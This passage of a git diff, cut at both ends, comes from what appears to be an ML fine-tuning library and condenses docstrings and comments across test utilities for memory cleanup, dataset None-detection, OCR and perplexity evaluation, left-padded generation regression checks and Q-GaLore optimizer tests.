             print(f"  Pass@K improvement:    {pass_k_improvement:+.1f}%")
 
-    # Dataset breakdown
     print(f"\n{'='*50}")
     print("PERFORMANCE BY DATASET")
     print(f"{'='*50}")
 
-    # Get all unique datasets from the first result
     if all_results and "source_accuracies" in all_results[0]:
         datasets = list(all_results[0]["source_accuracies"].keys())
 
@@ -490,7 +479,6 @@ def compare_aime_results(all_results):
                 print(f"{accuracy:<15.1f}", end = "")
             print()
 
-    # Save comparison
     comparison_data = {
         "summary": all_results,
         "best_model": max(all_results, key = lambda x: x["accuracy"]),
diff --git a/tests/utils/cleanup_utils.py b/tests/utils/cleanup_utils.py
index c04523a7a4..005ecffb1f 100644
--- a/tests/utils/cleanup_utils.py
+++ b/tests/utils/cleanup_utils.py
@@ -12,16 +12,9 @@ def clear_memory(
     verbose = False,
     clear_all_caches = True,
 ):
-    """
-    Comprehensive memory clearing for persistent memory leaks.
+    """Comprehensive memory clearing for persistent memory leaks."""
 
-    Args:
-        variables_to_clear: List of variable names to clear
-        verbose: Print memory status
-        clear_all_caches: Clear all types of caches (recommended for memory leaks)
-    """
-
-    # Save logging levels to restore later
+    # Save logging levels to restore later.
     saved_log_levels = {}
     for name, logger in logging.Logger.manager.loggerDict.items():
         if isinstance(logger, logging.Logger):
@@ -42,11 +35,11 @@ def clear_memory(
             "bnb_config",
         ]
 
-    # Clear LRU caches first (important for memory leaks)
+    # Clear LRU caches first (important for memory leaks).
     if clear_all_caches:
         clear_all_lru_caches(verbose)
 
-    # Delete specified variables
+    # Delete specified variables.
     g = globals()
     deleted_vars = []
     for var in variables_to_clear:
@@ -57,7 +50,7 @@ def clear_memory(
     if verbose and deleted_vars:
         print(f"Deleted variables: {deleted_vars}")
 
-    # Multiple GC passes (important for circular references)
+    # Multiple GC passes for circular references.
     for i in range(3):
         collected = gc.collect()
         if verbose and collected > 0:
@@ -75,7 +68,7 @@ def clear_memory(
             torch.cuda.reset_peak_memory_stats()
             torch.cuda.reset_accumulated_memory_stats()
 
-            # Clear JIT cache
+            # Clear JIT cache.
             if hasattr(torch.jit, "_state") and hasattr(torch.jit._state, "_clear_class_state"):
                 torch.jit._state._clear_class_state()
 
@@ -91,7 +84,7 @@ def clear_memory(
             if mem_before > 0:
                 print(f"Memory freed: {mem_before - mem_after:.2f} GB")
 
-    # Restore original logging levels
+    # Restore original logging levels.
     logging.getLogger().setLevel(root_level)
     for name, level in saved_log_levels.items():
         if name in logging.Logger.manager.loggerDict:
@@ -103,7 +96,7 @@ def clear_all_lru_caches(verbose = True):
     """Clear all LRU caches in loaded modules."""
     cleared_caches = []
 
-    # Skip these to avoid warnings
+    # Skip these to avoid warnings.
     skip_modules = {
         "torch.distributed",
         "torchaudio",
@@ -112,10 +105,10 @@ def clear_all_lru_caches(verbose = True):
         "torchaudio.backend",
     }
 
-    # Static list to avoid RuntimeError during iteration
+    # Static list to avoid RuntimeError during iteration.
     modules = list(sys.modules.items())
 
-    # Clear caches in all loaded modules
+    # Clear caches in all loaded modules.
     for module_name, module in modules:
         if module is None:
             continue
@@ -126,7 +119,7 @@ def clear_all_lru_caches(verbose = True):
         try:
             for attr_name in dir(module):
                 try:
-                    # Suppress warnings when checking attributes
+                    # Suppress warnings when checking attributes.
                     with warnings.catch_warnings():
                         warnings.simplefilter("ignore", FutureWarning)
                         warnings.simplefilter("ignore", UserWarning)
@@ -141,7 +134,7 @@ def clear_all_lru_caches(verbose = True):
         except Exception:
             continue
 
-    # Clear specific known caches
+    # Clear specific known caches.
     known_caches = [
         "transformers.utils.hub.cached_file",
         "transformers.tokenization_utils_base.get_tokenizer",
diff --git a/tests/utils/data_utils.py b/tests/utils/data_utils.py
index aa36a2afb4..6a7cc7f47b 100644
--- a/tests/utils/data_utils.py
+++ b/tests/utils/data_utils.py
@@ -56,12 +56,7 @@ def describe_param(
     include_infinity: bool = False,
     as_str: bool = True,
 ) -> dict:
-    """
-    Statistical summary (shape, mean, std, min/max, percentiles) of a tensor.
-
-    Optionally includes L1/L2/infinity norms. Returns a formatted string when
-    as_str is True, else a dict.
-    """
+    """Statistical summary of a tensor (optional L1/L2/inf norms); string if as_str else dict."""
 
     param = param.float()
     summary = {
diff --git a/tests/utils/generate_dataset_with_none.py b/tests/utils/generate_dataset_with_none.py
index 64df3f8626..78c6dfbe54 100644
--- a/tests/utils/generate_dataset_with_none.py
+++ b/tests/utils/generate_dataset_with_none.py
@@ -1,18 +1,9 @@
-"""
-Generate a small synthetic dataset with intentional None/empty turns so
-dataset_none_detect.py can be verified end-to-end.
-
-Three formats: chatml (messages, role/content), sharegpt (conversations,
-from/value), and alpaca (instruction/output). ~20 rows each; roughly half
-have at least one bad turn. Only depends on `datasets`.
-"""
+"""Synthetic chatml/sharegpt/alpaca datasets with intentional None/empty turns for dataset_none_detect.py."""
 
 from datasets import Dataset
 
-# ChatML (messages, role/content)
-
-# pyarrow requires uniform types in a column, so messages=None / non-list (P1)
-# rows live in a SEPARATE dataset so pyarrow can infer the column type.
+# ChatML (messages, role/content). pyarrow needs uniform column types, so
+# messages=None / non-list (P1) rows live in a SEPARATE dataset.
 
 _CHATML_ROWS = [
     # clean rows
@@ -77,7 +68,7 @@ _CHATML_ROWS = [
             {"role": "assistant", "content": "Shakespeare."},
         ]
     },
-    # bad rows — None/empty turn content (all messages values are lists so pyarrow is happy)
+    # bad rows: None/empty turn content (all values are lists, so pyarrow is happy)
     {
         "messages": [
             {"role": "user", "content": None},
@@ -123,9 +114,8 @@ _CHATML_ROWS = [
     {"messages": [None, {"role": "assistant", "content": "Reply"}]},  # None turn element
 ]
 
-# P1 test rows: messages is None or non-list. Stored as plain dicts (not an
-# HF Dataset) since pyarrow can't mix list and non-list values in one column;
-# the test runner mocks find_none_chatml directly.
+# P1 rows: messages is None or non-list. Plain dicts (not an HF Dataset) since
+# pyarrow can't mix list/non-list in one column; the runner mocks find_none_chatml.
 _CHATML_P1_ROWS = [
     {"messages": None},  # whole column None
     {"messages": "not a list"},  # wrong type
@@ -133,7 +123,7 @@ _CHATML_P1_ROWS = [
 
 
 def make_chatml_p1_rows() -> list:
-    """Return the raw P1 rows (not an HF Dataset) for direct mock testing."""
+    """Raw P1 rows (not an HF Dataset) for direct mock testing."""
     return list(_CHATML_P1_ROWS)
 
 
diff --git a/tests/utils/hf_utils.py b/tests/utils/hf_utils.py
index 22d984f87a..be56d89596 100644
--- a/tests/utils/hf_utils.py
+++ b/tests/utils/hf_utils.py
@@ -211,10 +211,7 @@ def setup_lora(
 
 
 def convert_weights_back_to_dtype(model, dtype):
-    """
-    SFTTrainer calls get_peft_model and prepare_model_for_kbit_training which converts all weights to float32.
-    This function converts the non-loraweights back to the original dtype.
-    """
+    """Convert non-LoRA weights back to the original dtype (SFTTrainer upcasts them to float32)."""
     for name, param in model.named_parameters():
         if any(s in name for s in ["norm", "embed"]):
             param.data = param.data.to(dtype)
@@ -225,7 +222,7 @@ def fix_llama3_tokenizer(tokenizer, padding_side = "right"):
     added_vocab = tokenizer.get_added_vocab()
     pad_token = [w for w in added_vocab if "pad" in w]
     assert len(pad_token) == 1
-    tokenizer.pad_token = pad_token[0]  # Load dataset from the hub
+    tokenizer.pad_token = pad_token[0]
     return tokenizer
 
 
diff --git a/tests/utils/ocr_eval.py b/tests/utils/ocr_eval.py
index f02cd5a26a..60cde14fb2 100644
--- a/tests/utils/ocr_eval.py
+++ b/tests/utils/ocr_eval.py
@@ -1,9 +1,4 @@
-"""
-OCR Model Evaluation Module
-
-This module provides functionality to evaluate OCR models on datasets with
-word error rate (WER) and character error rate (CER) metrics.
-"""
+"""Evaluate OCR models on datasets with WER and CER metrics."""
 
 import os
 import torch
@@ -17,10 +12,7 @@ import traceback
 
 
 class OCRModelEvaluator:
-    """
-    A comprehensive OCR model evaluator that supports multiple models and provides
-    detailed analysis with WER and CER metrics.
-    """
+    """OCR model evaluator over multiple models with WER/CER analysis."""
 
     def __init__(self):
         """Initialize the OCR evaluator."""
@@ -37,9 +29,7 @@ class OCRModelEvaluator:
         min_p: float = 0.1,
         verbose: bool = True,
     ) -> Tuple[Optional[float], Optional[float]]:
-        """
-        Evaluate a model on an OCR dataset.
-        """
+        """Evaluate a model on an OCR dataset."""
         os.makedirs(output_dir, exist_ok = True)
 
         results = []
@@ -184,7 +174,7 @@ class OCRModelEvaluator:
                 use_cache = True,
             )
 
-        # Keep only the generated part, not the input
+        # Keep only the generated tokens, not the input
         generated_ids_trimmed = [
             out_ids[len(in_ids) :] for in_ids, out_ids in zip(inputs.input_ids, generated_ids)
         ]
diff --git a/tests/utils/os_utils.py b/tests/utils/os_utils.py
index 2dcd9c732e..0dc3d2fbf5 100644
--- a/tests/utils/os_utils.py
+++ b/tests/utils/os_utils.py
@@ -33,12 +33,10 @@ def check_package_installed(package_name, package_manager = None):
 
     try:
         if package_manager == "apt":
-            # Check with dpkg
             result = subprocess.run(["dpkg", "-l", package_name], capture_output = True, text = True)
             return result.returncode == 0
 
         elif package_manager in ["yum", "dnf"]:
-            # Check with rpm
             result = subprocess.run(["rpm", "-q", package_name], capture_output = True, text = True)
             return result.returncode == 0
 
diff --git a/tests/utils/perplexity_eval.py b/tests/utils/perplexity_eval.py
index 83c632a0a7..5f33a24d53 100644
--- a/tests/utils/perplexity_eval.py
+++ b/tests/utils/perplexity_eval.py
@@ -37,7 +37,7 @@ def ppl_model(model, tokenizer, dataset):
 
 
 def add_to_comparison(model_name, ppl):
-    """Add model results to the comparison tracker"""
+    """Record a model's perplexity in the comparison tracker."""
     model_comparison_results[model_name] = {"ppl": ppl}
 
 
diff --git a/tests/utils/run_none_detect_tests.py b/tests/utils/run_none_detect_tests.py
index 2afea75bab..375f2a9c22 100644
--- a/tests/utils/run_none_detect_tests.py
+++ b/tests/utils/run_none_detect_tests.py
@@ -1,16 +1,4 @@
-"""
-run_none_detect_tests.py
-
-Runs dataset_none_detect.py against:
-  1. Synthetic datasets (chatml, sharegpt, alpaca) with deliberately injected Nones
-  2. peteromallet/dataclaw-peteromallet (HuggingFace)
-  3. peteromallet/my-personal-codex-data (HuggingFace)
-
-Writes a detailed log to tests/logs/none_detect_results.log
-
-Usage (from repo root, with venv active):
-    python tests/utils/run_none_detect_tests.py
-"""
+"""Run dataset_none_detect.py against synthetic + two HF datasets; log to tests/logs/none_detect_results.log."""
 
 from __future__ import annotations
 
@@ -21,8 +9,7 @@ from datetime import datetime
 from io import StringIO
 from pathlib import Path
 
-# Import dataset_none_detect as a top-level module, bypassing
-# utils/datasets/__init__.py which pulls in torch, fastapi, and other heavy deps.
+# Import dataset_none_detect directly, bypassing utils/datasets/__init__.py (heavy deps).
 REPO_ROOT = Path(__file__).resolve().parent.parent.parent
 sys.path.insert(0, str(REPO_ROOT / "studio" / "backend" / "utils" / "datasets"))
 
@@ -86,7 +73,7 @@ def assert_bad_rows(stats: dict, expected_min: int, label: str):
 
 
 def assert_exact_recall(stats: dict, expected_bad: set, label: str):
-    """Every injected bad row index must appear in bad_row_indices — no misses."""
+    """Every injected bad row index must appear in bad_row_indices."""
     actual_bad = set(stats.get("bad_row_indices", []))
     missed = expected_bad - actual_bad
     all_caught = len(missed) == 0
@@ -106,8 +93,7 @@ def assert_exact_recall(stats: dict, expected_bad: set, label: str):
 
 # 1. Synthetic datasets
 
-# Minimal mock so find_none_chatml can be called with hand-crafted rows that
-# pyarrow can't represent (e.g. messages=None, messages="not a list").
+# Minimal mock for hand-crafted rows pyarrow can't represent (e.g. messages=None / "not a list").
 
 
 class _MockDataset:
@@ -124,12 +110,12 @@ class _MockDataset:
         return iter(self._rows)
 
     def __getitem__(self, idx):
-        """Support dataset[i] (int) and dataset[i][col] patterns used by _probe_conversation."""
+        """Support dataset[i] and dataset[i][col] patterns used by _probe_conversation."""
         return self._rows[idx]
 
 
 def test_p1_fix():
-    """Verify that find_none_chatml records rows where messages is None or non-list."""
+    """find_none_chatml records rows where messages is None or non-list."""
     section("P1 Fix Verification — non-list conversation column values")
 
     sys.path.insert(0, str(REPO_ROOT / "tests" / "utils"))
@@ -158,12 +144,10 @@ def test_p1_fix():
 
 
 def test_probe_p1_fix():
-    """Verify that scan_dataset(fmt='auto') on a fully-corrupt messages column
-    routes through _probe_conversation's all_corrupt=True path and returns
-    findings rather than raising ValueError."""
+    """scan_dataset(fmt='auto') on an all-corrupt messages column returns findings, not ValueError."""
     section("P1 Fix Verification — probe skip on all-corrupt column (auto-detect path)")
 
-    # All 5 rows have messages=None — no dict turn will ever be found in the probe.
+    # All rows have messages=None, so the probe finds no dict turn.
     all_corrupt_rows = [{"messages": None}] * 5
     mock_ds = _MockDataset(all_corrupt_rows, ["messages"])
 
@@ -183,10 +167,7 @@ def test_probe_p1_fix():
 
 
 def test_probe_string_corrupt():
-    """Verify that a plain-string 'messages' column is NOT classified as chatml.
-    The all_corrupt+has_list_or_none guard (P2 fix) must prevent plain-string
-    columns from triggering the chatml path — scan_dataset should raise
-    ValueError('unknown format') rather than misclassifying as chatml."""
+    """P2 fix: a plain-string 'messages' column must NOT be classified as chatml (raises ValueError)."""
     section("P2 Fix Verification — plain-string messages not classified as chatml")
 
     string_rows = [{"messages": "this is a string, not a list"}] * 5
@@ -196,7 +177,6 @@ def test_probe_string_corrupt():
     try:
         stats = scan_dataset(mock_ds, fmt = "auto")
         fmt = stats.get("format", "?")
-        # Plain strings must NOT be classified as chatml.
         not_chatml = fmt != "chatml"
         status = "PASS" if not_chatml else "FAIL"
         print(
@@ -205,8 +185,7 @@ def test_probe_string_corrupt():
         )
         return stats
     except ValueError as exc:
-        # ValueError (unknown format) is the CORRECT outcome — plain strings
-        # are not a conversation column and should not match any format.
+        # ValueError (unknown format) is the correct outcome for a non-conversation column.
         print(
             f"  [PASS] String-corrupt probe: scan_dataset raised ValueError (not chatml, as expected): {exc}"
         )
@@ -214,8 +193,7 @@ def test_probe_string_corrupt():
 
 
 def test_explicit_fmt_corrupt():
-    """Verify that scan_dataset(fmt='chatml') on an all-corrupt column returns
-    findings instead of raising ValueError (explicit format + all_corrupt path)."""
+    """scan_dataset(fmt='chatml') on an all-corrupt column returns findings, not ValueError."""
     section("P1 Fix Verification — explicit fmt='chatml' on all-corrupt column")
 
     all_corrupt_rows = [{"messages": None}] * 4 + [{"messages": "not a list"}] * 3
@@ -237,8 +215,7 @@ def test_explicit_fmt_corrupt():
 
 
 def test_p2_probe_skips_corrupt_prefers_valid():
-    """P2 fix: probe must continue past a corrupt 'messages' column and find
-    a valid 'conversations' column rather than returning all_corrupt immediately."""
+    """P2 fix: probe continues past a corrupt 'messages' column to a valid 'conversations' column."""
     section("P2 Fix Verification — probe continues past corrupt first column to valid second")
 
     # messages column is all-None; conversations is a valid ShareGPT column.
@@ -267,7 +244,7 @@ def test_p2_probe_skips_corrupt_prefers_valid():
         fmt = stats.get("format", "?")
         col = stats.get("column", "?")
         bad = len(stats.get("bad_row_indices", []))
-        # Should have detected 'conversations' (sharegpt), not 'messages'.
+        # Must detect 'conversations' (sharegpt), not 'messages'.
         correct_col = col == "conversations"
         correct_fmt = fmt == "sharegpt"
         correct_bad = bad == 2
@@ -284,8 +261,7 @@ def test_p2_probe_skips_corrupt_prefers_valid():
 
 
 def test_p2_explicit_fmt_col_priority():
-    """P2 fix: explicit fmt='sharegpt' must let find_none_sharegpt choose its own
-    column (conversations) rather than being forced onto the probe's column (messages)."""
+    """P2 fix: explicit fmt='sharegpt' lets find_none_sharegpt pick its own column (conversations)."""
     section("P2 Fix Verification — explicit fmt='sharegpt' respects per-scanner column priority")
 
     # messages has valid role/content turns (chatml-ish); conversations has bad sharegpt turns.
@@ -307,7 +283,7 @@ def test_p2_explicit_fmt_col_priority():
     stats = scan_dataset(mock_ds, fmt = "sharegpt")
     col = stats.get("column", "?")
     bad = len(stats.get("bad_row_indices", []))
-    # fmt='sharegpt' should scan 'conversations', find 5 bad rows.
+    # fmt='sharegpt' scans 'conversations' -> 5 bad rows.
     correct_col = col == "conversations"
     correct_bad = bad == 5
     status = "PASS" if (correct_col and correct_bad) else "FAIL"
@@ -320,8 +296,7 @@ def test_p2_explicit_fmt_col_priority():
 
 
 def test_p2_gptoss_col_priority():
-    """P2 fix: fmt='gptoss' must scan 'messages' only, not fall through to
-    a clean 'conversations' column when messages is corrupt."""
+    """P2 fix: fmt='gptoss' scans 'messages' only, not a clean 'conversations' fallback."""
     section("P2 Fix Verification — fmt='gptoss' scans messages only, not conversations")
 
     # messages is all-None (corrupt); conversations is clean sharegpt.
@@ -356,10 +331,7 @@ def test_p2_gptoss_col_priority():
 
 
 def test_new_p1_explicit_sharegpt_both_all_corrupt():
-    """NEW P1 (commit eb7fea3b7e): when fmt='sharegpt' and both 'messages' and
-    'conversations' are all-corrupt in the first 100 rows, scan_dataset must scan
-    'conversations' (the sharegpt column), NOT 'messages' (the generic probe's
-    first candidate)."""
+    """NEW P1 (commit eb7fea3b7e): fmt='sharegpt' with both columns all-corrupt scans 'conversations', not 'messages'."""
     section(
         "NEW P1 — explicit fmt='sharegpt' scans 'conversations' even when both columns all-corrupt"
     )
@@ -373,7 +345,7 @@ def test_new_p1_explicit_sharegpt_both_all_corrupt():
         stats = scan_dataset(mock_ds, fmt = "sharegpt")
         col = stats.get("column", "?")
         bad = len(stats.get("bad_row_indices", []))
-        # MUST scan 'conversations', not 'messages'.
+        # Must scan 'conversations', not 'messages'.
         correct_col = col == "conversations"
         correct_bad = bad == 5
         status = "PASS" if (correct_col and correct_bad) else "FAIL"
@@ -389,12 +361,10 @@ def test_new_p1_explicit_sharegpt_both_all_corrupt():
 
 
 def test_new_p2_plain_string_messages_not_chatml():
-    """NEW P2 (commit eb7fea3b7e): a dataset where 'messages' contains plain
-    strings (not lists) must NOT be auto-classified as chatml.  The all_corrupt
-    path in FORMAT_REGISTRY chatml match previously triggered here too."""
+    """NEW P2 (commit eb7fea3b7e): plain-string 'messages' must NOT be auto-classified as chatml."""
     section("NEW P2 — plain-string 'messages' column must NOT be classified as chatml")
 
-    # messages is a plain text column, not a conversation column at all.
+    # messages is a plain text column, not a conversation column.
     rows = [{"messages": "hello world"}] * 5
     mock_ds = _MockDataset(rows, ["messages"])
 
@@ -402,7 +372,6 @@ def test_new_p2_plain_string_messages_not_chatml():
     try:
         stats = scan_dataset(mock_ds, fmt = "auto")
         fmt = stats.get("format", "?")
-        # Classifying as chatml is wrong; 'unknown' or another non-chatml result expected.
         not_chatml = fmt != "chatml"
         status = "PASS" if not_chatml else "FAIL"
         print(
@@ -411,7 +380,7 @@ def test_new_p2_plain_string_messages_not_chatml():
         )
         return stats
     except ValueError as exc:
-        # ValueError is also acceptable — the column isn't a valid conversation format.
+        # ValueError is also acceptable: not a valid conversation format.
         print(
             f"  [PASS] New-P2 plain-string messages: scan_dataset raised ValueError (not chatml): {exc}"
         )
@@ -463,13 +432,9 @@ def test_synthetic():
 
 
 def _brute_force_bad_rows(ds, fmt: str) -> set:
-    """Pure-Python ground-truth scanner — zero shared code with dataset_none_detect.
+    """Pure-Python ground-truth scanner (no shared code with dataset_none_detect) for independent proof.
 
-    Iterates every row and flags it bad if any field/turn contains None, empty,
-    or whitespace-only content.  Returns the set of bad row indices.
-
-    Intentionally re-implements the same logic from scratch so that agreement
-    between this and scan_dataset() constitutes independent proof of correctness.
+    Flags a row bad if any field/turn is None, empty, or whitespace-only; returns bad row indices.
     """
 
     def _blank(val) -> bool:
@@ -506,20 +471,15 @@ def _brute_force_bad_rows(ds, fmt: str) -> set:
 
 
 def _assert_hf_no_misses(ds, stats: dict, label: str) -> bool:
-    """Independent ground-truth check: verify scan_dataset() found every bad row
-    that brute-force row-by-row iteration also finds.
-
-    brute_force_bad ⊆ module_bad  →  no misses (the key assertion)
-    module_bad ⊆ brute_force_bad  →  no false positives (informational)
-    """
+    """Independent check: scan_dataset() must find every bad row brute-force finds (no misses)."""
     fmt = stats.get("format", "unknown")
     module_bad = set(stats.get("bad_row_indices", []))
 
     print(f"  Running brute-force independent scan (fmt={fmt!r}, {len(ds)} rows)...")
     brute_bad = _brute_force_bad_rows(ds, fmt)
 
-    missed = brute_bad - module_bad  # rows brute-force found but module missed
-    extra = module_bad - brute_bad  # rows module flagged that brute-force didn't
+    missed = brute_bad - module_bad  # brute-force found, module missed
+    extra = module_bad - brute_bad  # module flagged, brute-force didn't
 
     no_misses = len(missed) == 0
     snippet = ""
@@ -534,8 +494,7 @@ def _assert_hf_no_misses(ds, stats: dict, label: str) -> bool:
         f"missed: {len(missed)}{snippet}"
     )
     if extra:
-        # Module may legitimately flag more rows than brute-force (e.g. extra
-        # structural checks) — informational only, not a failure.
+        # Module may legitimately flag more rows (extra structural checks); informational only.
         print(
             f"  [INFO] {label} — module flagged {len(extra)} rows not in brute-force "
             f"(may reflect additional structural checks, not false positives)"
@@ -571,8 +530,7 @@ def test_dataclaw():
 def test_codex_data():
     section("3. HuggingFace — peteromallet/my-personal-codex-data")
     try:
-        # load_dataset fails on this repo because ujson chokes on the large
-        # JSONL batch.  Download the raw file and parse it ourselves instead.
+        # load_dataset fails here (ujson chokes on the large JSONL batch); download + parse raw instead.
         from huggingface_hub import hf_hub_download
         from datasets import Dataset
 
diff --git a/tests/utils/test_batched_leftpad_generation_gpu.py b/tests/utils/test_batched_leftpad_generation_gpu.py
index c2610d4673..df03125bc2 100644
--- a/tests/utils/test_batched_leftpad_generation_gpu.py
+++ b/tests/utils/test_batched_leftpad_generation_gpu.py
@@ -1,17 +1,11 @@
 """End-to-end GPU guard for batched left-padded generation (issues #1066, #3699).
 
-For each prompt, greedy generation inside a left-padded batch must match
-generating that prompt alone at batch size 1 for the first PREFIX_TOKENS
-tokens, and the full output must not be gibberish. The bug class (#1066,
-#3699) makes padded rows diverge immediately into garbage; in contrast,
-benign batch-size-dependent kernel numerics can flip a greedy near-tie deep
-into the sequence, so an exact full-length match would be flaky. Uses a small
-instruct model (chat-templated prompts have high-margin argmaxes).
-
-Skipped automatically when CUDA is unavailable, so CPU CI is unaffected.
-Run manually on any GPU box:
-
-    python -m pytest tests/utils/test_batched_leftpad_generation_gpu.py -v
+Greedy generation in a left-padded batch must match solo batch-size-1
+generation for the first PREFIX_TOKENS tokens (the bug makes padded rows
+diverge into garbage immediately; a full-length match would be flaky due to
+benign batch-numerics tie-flips deep in the sequence) and must not be
+gibberish. Skipped without CUDA. Run: `python -m pytest
+tests/utils/test_batched_leftpad_generation_gpu.py -v`.
 """
 
 import pytest
diff --git a/tests/utils/test_packing.py b/tests/utils/test_packing.py
index 6fa6ae8d34..a8557d8533 100644
--- a/tests/utils/test_packing.py
+++ b/tests/utils/test_packing.py
@@ -194,7 +194,7 @@ class _DummyTrainer:
                 break
             except TypeError:
                 continue
-        # Ensure attributes exist even if the constructor rejected them.
+        # Ensure attributes exist even if the constructor rejected the flags.
         if not hasattr(self.data_collator, "padding_free"):
             self.data_collator.padding_free = True
         if not hasattr(self.data_collator, "return_position_ids"):
@@ -221,7 +221,7 @@ def test_enable_sample_packing():
 
     enable_sample_packing(model, trainer)
 
-    # model hierarchy should now allow packed overlength inputs
+    # model hierarchy now allows packed overlength inputs
     assert getattr(model, "_unsloth_allow_packed_overlength") is True
     assert getattr(model.child, "_unsloth_allow_packed_overlength") is True
 
@@ -243,7 +243,7 @@ def test_enable_sample_packing():
     ]
     batch = collator.torch_call(examples)
 
-    # packed lengths are aggregated into a single tensor
+    # packed lengths aggregated into one tensor
     assert "packed_seq_lengths" in batch
     assert torch.equal(batch["packed_seq_lengths"], torch.tensor([2, 1, 3], dtype = torch.int32))
 
diff --git a/tests/utils/test_prepare_inputs_leftpad.py b/tests/utils/test_prepare_inputs_leftpad.py
index b773b088b5..2bfd763279 100644
--- a/tests/utils/test_prepare_inputs_leftpad.py
+++ b/tests/utils/test_prepare_inputs_leftpad.py
@@ -1,29 +1,16 @@
 """Regression guard for batched left-padded generation (issues #1066, #3699).
 
-`_fast_prepare_inputs_for_generation` in unsloth/models/llama.py is shared by
-every decoder family wired through `fix_prepare_inputs_for_generation` (llama,
-qwen2/3, qwen3_moe, mistral, gemma/2, cohere, granite). Two historical bugs
-lived in it:
+Guards `_fast_prepare_inputs_for_generation` (unsloth/models/llama.py),
+shared by every decoder family wired through fix_prepare_inputs_for_generation,
+against two historical bugs:
+  (a) 2D attention mask truncated to its last column during cached decode,
+      losing padding info (fixed by #2216);
+  (b) position_ids taken from cache_position (which counts left-pad tokens),
+      so padded rows generated garbage (fixed by #4100).
 
-  (a) the 2D attention mask was truncated to its last column during cached
-      decode, losing padding information (introduced cc4c5d77, fixed by #2216);
-  (b) position_ids were taken directly from cache_position, a global counter
-      that includes left-pad tokens, so padded rows generated garbage
-      (introduced cc4c5d77, reported in #1066/#3699, fixed by #4100).
-
-Two layers in this file, both CPU-only and deterministic:
-
-  1. AST structural checks (TestAstGuard section): parse llama.py with the
-     stdlib `ast` module only, no unsloth import, so they keep working even
-     when the package itself fails to import.
-  2. Behavioral checks: call the real function with synthetic left-padded
-     masks and fake caches; unsloth is imported lazily inside each test.
-
-Both layers fail on the historical bug patterns (validated against the code
-states immediately before #2216 and before #4100). Staging proof on GPU-less
-hosted runners: danielhanchen/unsloth-staging-2 PRs 170 (green) and 171 (red).
-
-Companion manual GPU end-to-end check (skipped without CUDA):
+Two CPU-only deterministic layers: (1) AST structural checks (no unsloth
+import); (2) behavioral checks calling the real function with synthetic
+left-padded masks and fake caches. Companion GPU check:
 tests/utils/test_batched_leftpad_generation_gpu.py
 """
 
@@ -43,10 +30,9 @@ FUNC_NAME = "_fast_prepare_inputs_for_generation"
 # Layer 1: AST structural guard (stdlib only, no unsloth import)
 # --------------------------------------------------------------------------
 
-# Model files that call fix_prepare_inputs_for_generation(...) and therefore
-# share the guarded function. glm4_moe and falcon_h1 are intentionally absent:
-# GLM4 MoE does not patch the Llama-compatible generation path (MLA attention)
-# and falcon_h1 ships its own _fast_prepare_inputs_for_generation variant.
+# Model files that call fix_prepare_inputs_for_generation(...) and share the
+# guarded function. glm4_moe (MLA attention, different path) and falcon_h1
+# (its own variant) are intentionally absent.
 WIRED_MODEL_FILES = [
     "mistral.py",
     "gemma.py",
diff --git a/tests/utils/test_q_galore.py b/tests/utils/test_q_galore.py
index 7248e60a93..a4714b0bda 100644
--- a/tests/utils/test_q_galore.py
+++ b/tests/utils/test_q_galore.py
@@ -20,14 +20,12 @@ import os
 import torch
 import torch.nn as nn
 
-# Import the optimizers module directly to avoid triggering unsloth.__init__
-# which requires unsloth_zoo and other heavy dependencies.
+# Import optimizers directly to avoid triggering unsloth.__init__ (heavy deps).
 _repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
 _optimizers_dir = os.path.join(_repo_root, "unsloth", "optimizers")
 if _repo_root not in sys.path:
     sys.path.insert(0, _repo_root)
 
-# Direct import of the actual modules (avoids unsloth/__init__.py)
 import importlib.util
 
 
@@ -39,7 +37,7 @@ def _load_module(name, filepath):
     return mod
 
 
-# Load projector module first (no dependencies on unsloth)
+# Projector has no unsloth dependencies; load it first.
 _projector_mod = _load_module(
     "unsloth.optimizers.q_galore_projector",
     os.path.join(_optimizers_dir, "q_galore_projector.py"),
@@ -49,7 +47,7 @@ _quantize = _projector_mod._quantize
 _dequantize = _projector_mod._dequantize
 _quantize_stochastic = _projector_mod._quantize_stochastic
 
-# Load adamw module (depends on projector, may skip bitsandbytes)
+# adamw depends on projector, may skip bitsandbytes.
 _adamw_mod = _load_module(
     "unsloth.optimizers.q_galore_adamw",
     os.path.join(_optimizers_dir, "q_galore_adamw.py"),
@@ -124,13 +122,12 @@ class TestGaLoreProjector:
             gamma_proj = 2.0,
             queue_size = 2,
         )
-        # Use very similar gradients so cosine similarity is high
+        # Near-identical gradients keep cosine similarity high.
         base_grad = torch.randn(16, 8)
         for i in range(5):
             grad = base_grad + torch.randn_like(base_grad) * 0.001
             proj.project(grad, step = i * 10)
 
-        # After several similar SVDs, update_proj_gap should have increased
         assert proj.update_proj_gap > 10
 
     def test_scale_applied(self):
@@ -145,7 +142,7 @@ class TestGaLoreProjector:
         full_half = proj.project_back(low)
         full_one = proj2.project_back(low2)
 
-        # The ratio should be exactly 0.5 (SVD is deterministic on same input)
+        # SVD is deterministic on the same input, so the ratio is exactly 0.5.
         ratio = full_half.norm() / full_one.norm()
         assert abs(ratio - 0.5) < 1e-5, f"Expected ratio ~0.5, got {ratio:.8f}"
 
@@ -252,11 +249,7 @@ class TestParamGroupHelper:
         assert len(galore_group["params"]) == 1  # Only q_proj
 
     def test_bias_excluded_from_galore(self):
-        """1D bias params matching target names must NOT be in the GaLore group.
-
-        GaLoreProjector.project requires 2-D gradients, so bias vectors
-        (e.g. q_proj.bias) that match a target name must be excluded.
-        """
+        """1-D bias params matching target names must be excluded (project needs 2-D grads)."""
         model = nn.Module()
         model.q_proj = nn.Linear(64, 64, bias = True)  # has .weight AND .bias
         model.embed = nn.Embedding(100, 64)
@@ -302,7 +295,6 @@ class TestQGaLoreIntegration:
         """A simple training loop using manual GaLore projection converges."""
         torch.manual_seed(42)
 
-        # Tiny model: single linear layer
         model = nn.Linear(32, 16, bias = False)
         target = torch.randn(4, 16)
         x = torch.randn(4, 32)
@@ -318,7 +310,6 @@ class TestQGaLoreIntegration:
             loss.backward()
             losses.append(loss.item())
 
-            # Manual GaLore projection
             for p in model.parameters():
                 if p.grad is not None and p.grad.dim() == 2:
                     low = proj.project(p.grad, step)
@@ -330,13 +321,11 @@ class TestQGaLoreIntegration:
 
             optimizer.step()
 
-        # Loss should decrease
         assert losses[-1] < losses[0], f"Loss did not decrease: {losses[0]:.4f} → {losses[-1]:.4f}"
 
     def test_full_projector_roundtrip_quality(self):
         """project → project_back captures the dominant gradient directions."""
         torch.manual_seed(42)
-        # Create a gradient with clear low-rank structure
